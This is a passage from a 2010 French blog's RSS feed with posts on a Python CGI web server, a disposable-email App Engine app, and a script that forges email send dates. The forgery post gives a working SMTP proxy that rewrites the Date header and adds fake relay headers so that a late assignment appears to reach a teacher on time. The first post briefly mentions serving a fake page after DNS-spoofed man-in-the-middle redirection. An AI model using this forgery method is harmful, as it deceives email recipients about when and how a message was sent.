<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Le Blog du grand loup Zeur &#187; python</title>
	<atom:link href="http://blog.gaetan-grigis.eu/tag/python/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.gaetan-grigis.eu</link>
	<description>Le blog qui vous fait connaitre ce que vous savez déjà</description>
	<lastBuildDate>Sun, 25 Jul 2010 20:48:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>monter un serveur PHP en une ligne de commande (ou presque)</title>
		<link>http://blog.gaetan-grigis.eu/systeme/monter-un-serveur-php-en-une-ligne-de-commande-ou-presque/</link>
		<comments>http://blog.gaetan-grigis.eu/systeme/monter-un-serveur-php-en-une-ligne-de-commande-ou-presque/#comments</comments>
		<pubDate>Sat, 24 Apr 2010 09:45:22 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Système]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[cgi-bin]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[sh]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=795</guid>
		<description><![CDATA[Dans le genre &#171;&#160;news de webg33k&#160;&#187; en voici une &#8230; A la base, je cherchais à utiliser/écrire un serveur http en python (pas mal de classes existent dans le domaine) pour servir une page html bidon après un man in the middle avec redirection dnspoof sur le serveur http en question, au lieu de déployer [...]]]></description>
			<content:encoded><![CDATA[<p>Dans le genre &laquo;&nbsp;news de webg33k&nbsp;&raquo; en voici une &#8230;</p>
<p>A la base, je cherchais à utiliser/écrire un serveur http en python (pas mal de <a href="http://docs.python.org/library/basehttpserver.html">classes</a> existent dans le domaine) pour servir une page html bidon après un man in the middle avec redirection dnspoof sur le serveur http en question, au lieu de déployer l&#8217;artillerie lourde apache ou nginx.<br />
<span id="more-795"></span><br />
Après diverses recherche sur mon <a href="http://www.google.fr">ami</a>, je suis tombé sur : <a href="http://blog.rom1v.com/2009/12/creer-un-serveur-http-en-10-secondes/">créer un serveur http en 10 secondes</a> &#8230;</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> python -m SimpleHTTPServer <span class="nu0">80</span></div>
</li>
</ol>
</div>
<p>Créant ainsi un serveur http accessible sur : http://127.0.0.1/). Mais cette technique ne fournit que des fichiers statiques (ok c&#8217;est déjà pas mal &#8230; et c&#8217;est plus où moins ce que je cherchais).</p>
<p>Mais en lisant la doc, on peut trouver un &laquo;&nbsp;CGIHTTPServer&nbsp;&raquo;, c&#8217;est un serveur qui peut exécuter des scripts (python, perl, php, sh, &#8230;) et l&#8217;utilisation est similaire :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">python -m CGIHTTPServer <span class="nu0">8080</span></div>
</li>
</ol>
</div>
<p>qui créera un serveur HTTP sur le dossier courant avec la possibilité d&#8217;éxecuter des scripts (EN CLI = ligne de commande) sur le port 8080 (accessible sur http://127.0.0.1:8080/).</p>
<p>ATTENTION, il ne faut pas executer le serveur avec un sudo (pour utiliser le port 80), car sinon, les scripts seront executés en root, ainsi pour le script php suivant (à mettre dans un dossier nommé &laquo;&nbsp;cgi-bin&nbsp;&raquo; dans le dossier courant d&#8217;éxecution de la commande, et faire un chmod +x et <span style="color: #ff0000;">nécessite l&#8217;installation du paquet php-cli</span>) :</p>
<div class="geshi no php">
<ol>
<li class="li1">
<div class="de1"><span class="co2">#!/usr/bin/php</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">&lt;?php</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;&quot;</span><span class="sy0">;</span><span class="co1">//pour signaler la fin des headers</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="kw3">phpinfo</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div>
</li>
</ol>
</div>
<p><a href="http://cdn-blog-loupzeur.appspot.com/wp-content/uploads/2010/04/python-server.png"><img class="aligncenter size-full wp-image-796" title="python-server" src="http://cdn-blog-loupzeur.appspot.com/wp-content/uploads/2010/04/python-server.png" alt="" width="769" height="325" /></a><br />
 <br />
On remarque bien que le script a les droits root &#8230; donc à EVITER.</p>
<p>Il faut donc l&#8217;executer sur le port un port supérieur à 1024 (pour ne pas utiliser les droits root : 8080 est le port le plus courant dans ce genre de cas), puis effectuer une redirection de port via iptables qui permettra ici d&#8217;accéder au port 8080 du serveur en faisant une requête sur le port 80 :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> iptables -t nat -A PREROUTING -p tcp &#8211;dport <span class="nu0">80</span> -j REDIRECT &#8211;to-ports <span class="nu0">8080</span></div>
</li>
</ol>
</div>
<p>(ne fonctionne pas pour l&#8217;adresse de loopback 127.0.0.1).</p>
<p>Si vous voulez exécuter d&#8217;autre type de script : sh, python, &#8230;, il suffit de les mettre dans le dossier cgi-bin et de faire un chmod +x dessus.</p>
<p>En python :</p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1"><span class="co1">#!/usr/bin/python</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">print</span> <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">print</span> <span class="st0">&quot;les kikoolols attaquent!!!&quot;</span></div>
</li>
</ol>
</div>
<p>En bash : </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="co0">#!/bin/bash</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;les kikoolols attaquent!!!&quot;</span></div>
</li>
</ol>
</div>
<p>Ne pas oublier le premier print &laquo;&nbsp;&nbsp;&raquo; ou echo &laquo;&nbsp;&nbsp;&raquo;, qui indique la fin des headers HTTP. </p>
<p>Voilà &#8230; c&#8217;était le post inutile mais indispensable de la semaine <img src='http://cdn-blog-loupzeur.appspot.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=795">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/systeme/se-monter-un-environnement-de-developpement-lamp-rapidement/" rel="bookmark" title="Permanent Link: Se monter un environnement de developpement LAMP rapidement">Se monter un environnement de developpement LAMP rapidement</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/tor-proxy-et-randomiser-le-choix-des-serveurs-de-sortie/" rel="bookmark" title="Permanent Link: Tor Proxy et randomiser le choix des serveurs de sorties">Tor Proxy et randomiser le choix des serveurs de sorties</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/primary-domain-controller-sous-linux/" rel="bookmark" title="Permanent Link: Primary Domain Controller sous Linux &#8230;">Primary Domain Controller sous Linux &#8230;</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/sortie-de-metasploit-32/" rel="bookmark" title="Permanent Link: Sortie de Metasploit 3.2">Sortie de Metasploit 3.2</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/php-programmation/fork-et-php-utile/" rel="bookmark" title="Permanent Link: Fork et PHP utile ??">Fork et PHP utile ??</a></li></ul><hr /><small>Copyright &copy; 2008-2010 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/systeme/monter-un-serveur-php-en-une-ligne-de-commande-ou-presque/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Créer son propre service de mail jetable avec appengine</title>
		<link>http://blog.gaetan-grigis.eu/programmation/creer-son-propre-service-de-mail-jetable-avec-appengine/</link>
		<comments>http://blog.gaetan-grigis.eu/programmation/creer-son-propre-service-de-mail-jetable-avec-appengine/#comments</comments>
		<pubDate>Sat, 27 Mar 2010 11:45:29 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Programmation]]></category>
		<category><![CDATA[appengine]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[mail jetable]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[trashmail]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=769</guid>
		<description><![CDATA[Plop à tous Au détour d&#8217;un article de Korben, j&#8217;ai découvert les app engine de google, qui permettent de créer des sites/applications web en python et java. Le service est très performant et malgré quelques limites, il permet tout de même un trafic par jour de 1Gb en http et 1Gb en https (avec un [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à tous<br />
Au détour d&#8217;un <a href="http://www.korben.info/creer-un-serveur-proxy.html">article de Korben</a>, j&#8217;ai découvert les <a href="http://code.google.com/appengine/docs/python/overview.html">app engine de google</a>, qui permettent de créer des sites/applications web en python et java. Le service est très performant et malgré quelques limites, il permet tout de même un trafic par jour de 1Gb en http et 1Gb en https (avec un certificat valide <img src='http://cdn-blog-loupzeur.appspot.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ).</p>
<p>Le gros problème de ce service : <a href="http://code.google.com/appengine/docs/python/datastore/">la base de données</a> (pas de join et on a seulement droit à : 10368000 requêtes par jour ^^).</p>
<p>L&#8217;API fournit, ainsi que l&#8217;environnement de développement est simple à maitriser/mettre en oeuvre. Il me fallait donc un projet plus ou moins (f)utile pour utiliser ce service et le connaitre un peu mieux. L&#8217;un des services proposés par les appengine de google est la <a href="http://code.google.com/appengine/docs/python/mail/receivingmail.html">réception de mail en http</a>. Super utile pour créer des adresses mails à la volée, utilisant depuis quelque temps le service de <a href="http://www.yopmail.com/en/">mail jetable</a> de yopmail, j&#8217;ai donc tenté de recréer une partie du service proposé par yopmail en python pour les appengine &#8230;</p>
<p>Le but de l&#8217;appli est très simple, on crée une adresse mail pour 30 minutes (ou plus), on fournit l&#8217;adresse mail générée à la place de notre adresse mail courante et on attend le mail. Une fois l&#8217;adresse expirée, les mails reçût seront automatiquement droppés.</p>
<p>Pour tester le service : en <a href="http://mail-jetable.appspot.com/">http</a> et en <a href="https://mail-jetable.appspot.com/">https</a>, les adresses mails proposées par le service sont du type : pseudo@mail-jetable.appspotmail.com (ok c&#8217;est long, mais il faut au moins ça pour combattre le spam ^^).</p>
<p>Le code source étant un peu plus long que mes scripts habituels, j&#8217;ai donc ouvert un <a href="http://code.google.com/p/mail-jetable-appengine/">dépôt SVN</a> (sur google code évidemment <img src='http://cdn-blog-loupzeur.appspot.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ) pour publier les sources.</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=769">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/mes-applicationsscripts/" rel="bookmark" title="Permanent Link: Mes Applications/Scripts">Mes Applications/Scripts</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/utiliser-google-app-pour-gerer-son-domaine/" rel="bookmark" title="Permanent Link: Utiliser Google App pour gérer son Domaine">Utiliser Google App pour gérer son Domaine</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/checker-la-validite-dune-adresse-mail-en-php-via-smtp/" rel="bookmark" title="Permanent Link: Checker la validité d&#8217;une adresse mail en PHP via SMTP">Checker la validité d&#8217;une adresse mail en PHP via SMTP</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/mise-en-place-dun-cdn-via-google-app-engine/" rel="bookmark" title="Permanent Link: Mise en place d&#8217;un CDN via Google App Engine">Mise en place d&#8217;un CDN via Google App Engine</a></li><li><a href="http://blog.gaetan-grigis.eu/python-2/appengine-wordpress-et-xml-rpc/" rel="bookmark" title="Permanent Link: Appengine, WordPress et XML-RPC">Appengine, WordPress et XML-RPC</a></li></ul><hr /><small>Copyright &copy; 2008-2010 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/programmation/creer-son-propre-service-de-mail-jetable-avec-appengine/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Envoyer des mails dans le passé</title>
		<link>http://blog.gaetan-grigis.eu/programmation/envoyer-des-mails-dans-le-passe/</link>
		<comments>http://blog.gaetan-grigis.eu/programmation/envoyer-des-mails-dans-le-passe/#comments</comments>
		<pubDate>Sat, 20 Mar 2010 15:05:34 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Programmation]]></category>
		<category><![CDATA[back to the future]]></category>
		<category><![CDATA[fake]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[smtp]]></category>
		<category><![CDATA[temps]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=762</guid>
		<description><![CDATA[Plop à tous &#8230; Aujourd&#8217;hui, une astuce de &#171;&#160;gros noob&#160;&#187;, le but est d&#8217;envoyer un mail à une date passée ou future, genre pour le rendu d&#8217;un devoir à 23h59m59s alors qu&#8217;on vient de le terminer à 2h42 du mat, tout en sachant que le prof ne le lira pas avant 7 ou 8 heures [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à tous &#8230;</p>
<p>Aujourd&#8217;hui, une astuce de &laquo;&nbsp;gros noob&nbsp;&raquo;, le but est d&#8217;envoyer un mail à une date passée ou future, genre pour le rendu d&#8217;un devoir à 23h59m59s alors qu&#8217;on vient de le terminer à 2h42 du mat, tout en sachant que le prof ne le lira pas avant 7 ou 8 heures du mat&#8217; &#8230; le truc totalement useless quoi, mais souvent on perd des points pour des trucs de ce genre, &#8230; (quoi ?? ça vous est jamais arrivé ?? bande de lèche-*** &#8230;.)<br />
<span id="more-762"></span><br />
Les plus futés sauront qu&#8217;en modifiant la date de leur machine, on peut fausser les dates d&#8217;envoi (genre en reculant la date de deux jours, la plupart des mailers/logiciels de récupération de mails vont afficher le mail comme étant reçu il y a deux jours &#8230;).</p>
<p>Mais nous sommes informaticiens, et ce genre de méthode, c&#8217;est pour les noobs &#8230; nous on va coder un bon gros serveur SMTP pour envoyer des mails dans le temps xD&#8230;</p>
<p>En fait en python, ça consiste en 40 lignes de codes &#8230; (et encore &#8230; c&#8217;est crade comme d&#8217;hab <img src='http://cdn-blog-loupzeur.appspot.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ).</p>
<p>L&#8217;utilisation du script suivant ce fait comme suit :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">.<span class="sy0">/</span>nomDuScript <span class="st0">&#39;adresse serveur smtp du fai&#39;</span> <span class="st0">&#39;25&#39;</span> <span class="st0">&quot;date d&#39;envoi&quot;</span></div>
</li>
</ol>
</div>
<p>Ou, si l&#8217;on veut rajouter des faux headers (histoire d&#8217;expliquer le retard du mails, ou rajouter de faux relais &#8230;)</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">.<span class="sy0">/</span>nomDuScript <span class="st0">&#39;adresse serveur smtp du fai&#39;</span> <span class="st0">&#39;25&#39;</span> <span class="st0">&quot;date d&#39;envoi&quot;</span> <span class="st0">&#39;/chemin/du/fichier contenant/les/headers&#39;</span></div>
</li>
</ol>
</div>
<p>Un fichier d&#8217;exemples de (fake) headers à rajouter :</p>
<div class="geshi no smtp">
<ol>
<li class="li1">
<div class="de1">Received: from [1.3.3.7] (helo=lol.kikoo.rox)
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; by leskikoolol.attaqu.ent with esmtp id m4573r-573417-00
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; for lolmaster@kikoo.rox; Sat, 20 mar 2010 01:02:03 +0000
</div>
</li>
<li class="li1">
<div class="de1">Received: from kikoo.lol.rox (kikoo.lol.rox [10.3.3.7])
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; by lol.kikoo.rox with ESMTP id f7O1Sci1337
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; for lolmaster@kikoo.rox; Sat, 20 Mar 2010 00:00:00 +0000</div>
</li>
</ol>
</div>
<p>et l&#8217;exemple d&#8217;utilisation pour le header en question :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">.<span class="sy0">/</span>nomDuScript <span class="nu0">127.0</span><span class="nu0">.0</span><span class="nu0">.1</span> <span class="nu0">25</span> <span class="st0">&quot;Fri, 19 Mar 2010 23:59:58 +0000&quot;</span> headers</div>
</li>
</ol>
</div>
<p>Qui permettra de faire croire à votre correspondant ici lolmaster@kikoo.rox :</p>
<ul>
<li>que vous avez envoyé votre mail vendredi 19 mars 2010 à 23h59, par votre machine nommée &laquo;&nbsp;kikoo.lol.rox&nbsp;&raquo; à l&#8217;ip 10.3.3.7</li>
<li>que le mail a été reçu à minuit par le serveur smtp à l&#8217;ip 1.3.3.7 nommé &laquo;&nbsp;lol.kikoo.rox&nbsp;&raquo;</li>
<li>puis, que le mail a été relayé à 01h02 par le serveur smtp nommé &laquo;&nbsp;leskikoolol.attaqu.ent&nbsp;&raquo;</li>
</ul>
<p>Ce qui expliquera au correspondant le temps de latence entre l&#8217;envoi du mail et sa réception. (Faudra bien sûr changer les infos pour coller à la réalité ^^)</p>
<p>Le script, qui créé un serveur SMTP sur le port 8025 (il faudra configurer votre client mail pour utiliser le serveur SMTP 127.0.0.1 sur le port 8025) :</p>
<div class="geshi no python">
<div class="head">#!/usr/bin/env python</div>
<ol>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">from</span> <span class="kw3">smtpd</span> <span class="kw1">import</span> PureProxy</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">asyncore</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">asynchat</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">smtplib</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">re</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">sys</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">class</span> mySMTP <span class="br0">&#40;</span>PureProxy<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>,s,n,d,f=<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">date</span> = d</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw2">self</span>.<span class="me1">serv</span> = n</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw2">self</span>.<span class="me1">fich</span> = f</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; PureProxy.<span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>,s,<span class="kw2">None</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">def</span> process_message <span class="br0">&#40;</span><span class="kw2">self</span>, peer, mailfrom, rcpttos, data<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp;p = <span class="kw3">re</span>.<span class="kw2">compile</span><span class="br0">&#40;</span><span class="st0">&quot;Date: .*&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;data = p.<span class="me1">sub</span><span class="br0">&#40;</span><span class="st0">&quot;Date: &quot;</span>+<span class="kw2">self</span>.<span class="me1">date</span>,data<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span> <span class="kw2">self</span>.<span class="me1">fich</span> <span class="sy0">!</span>=<span class="st0">&quot;&quot;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f = <span class="kw2">open</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">fich</span>,<span class="st0">&#39;r&#39;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;t = f.<span class="me1">read</span><span class="br0">&#40;</span><span class="nu0">1024</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;f.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;data = t + data</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="kw1">print</span> <span class="st0">&quot;Message + header: &quot;</span>+data</div>
</li>
<li class="li1">
<div class="de1">&nbsp;smtpSender = <span class="kw3">smtplib</span>.<span class="me1">SMTP</span><span class="br0">&#40;</span> <span class="kw2">self</span>.<span class="me1">serv</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="kw2">self</span>.<span class="me1">serv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;smtpSender.<span class="me1">sendmail</span><span class="br0">&#40;</span> mailfrom, rcpttos, data <span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;smtpSender.<span class="me1">quit</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">return</span> <span class="kw2">None</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> __name__ == <span class="st0">&quot;__main__&quot;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#41;</span><span class="sy0">&lt;</span><span class="nu0">4</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Il manque des arguments : &quot;</span>+<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>+<span class="st0">&quot; &#39;serveur smtp&#39;,&#39;port&#39;,&#39;date&#39;[, &#39;fichier header&#39;]&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">sys</span>.<span class="me1">exit</span><span class="br0">&#40;</span><span class="nu0">2</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#41;</span> == <span class="nu0">4</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; serv = mySMTP <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="st0">&quot;127.0.0.1&quot;</span>, <span class="nu0">8025</span><span class="br0">&#41;</span>, <span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>,<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span>,<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#41;</span> == <span class="nu0">5</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; serv = mySMTP <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="st0">&quot;127.0.0.1&quot;</span>, <span class="nu0">8025</span><span class="br0">&#41;</span>, <span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>,<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span>,<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span>,<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span><span class="br0">&#41;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">try</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">asyncore</span>.<span class="me1">loop</span> <span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">except</span> <span class="kw2">KeyboardInterrupt</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pass</span></div>
</li>
</ol>
</div>
<p>Amusez-vous bien <img src='http://cdn-blog-loupzeur.appspot.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=762">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/programmation/php-programmation/envoyer-des-sms-via-google-calendar-et-php-socket-party/" rel="bookmark" title="Permanent Link: Envoyer des sms via google calendar et php &#8230; socket party ^^">Envoyer des sms via google calendar et php &#8230; socket party ^^</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/php-programmation/fork-et-php-utile/" rel="bookmark" title="Permanent Link: Fork et PHP utile ??">Fork et PHP utile ??</a></li><li><a href="http://blog.gaetan-grigis.eu/mes-applicationsscripts/" rel="bookmark" title="Permanent Link: Mes Applications/Scripts">Mes Applications/Scripts</a></li><li><a href="http://blog.gaetan-grigis.eu/securite/paranoia-sur-le-net/" rel="bookmark" title="Permanent Link: Paranoïa sur le net &#8230;^^">Paranoïa sur le net &#8230;^^</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/php-programmation/marre-du-spam-sur-wordpress/" rel="bookmark" title="Permanent Link: Marre du spam sur wordpress ??">Marre du spam sur wordpress ??</a></li></ul><hr /><small>Copyright &copy; 2008-2010 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/programmation/envoyer-des-mails-dans-le-passe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mon apprentissage de python avec Ogame ^^</title>
		<link>http://blog.gaetan-grigis.eu/programmation/mon-apprentissage-de-python-avec-ogame/</link>
		<comments>http://blog.gaetan-grigis.eu/programmation/mon-apprentissage-de-python-avec-ogame/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 18:58:51 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Programmation]]></category>
		<category><![CDATA[bot]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[ogame]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=630</guid>
		<description><![CDATA[The kikoolol strike back !! Mon deuxième billets de la soirée &#8230;pour pas grand chose en fait. J&#8217;ai voulu apprendre le langage python de façon plutôt ludique en créant un bot qui créer des batiments en boucle pour Ogame &#8230; rien d&#8217;illégal bien entendu ^^. Dans le code Python qui va suivre, vous pourrez comprendre [...]]]></description>
			<content:encoded><![CDATA[<p>The kikoolol strike back !! Mon deuxième billets de la soirée &#8230;pour pas grand chose en fait.</p>
<p>J&#8217;ai voulu apprendre le langage python de façon plutôt ludique en créant un bot qui créer des batiments en boucle pour Ogame &#8230; rien d&#8217;illégal bien entendu ^^.<br />
Dans le code Python qui va suivre, vous pourrez comprendre (ou pas) comment fonctionne :</p>
<ul>
<li>Les requêtes HTTP en python avec des headers à partir de zéro</li>
<li>Les Threads pour les opérations en parallèle</li>
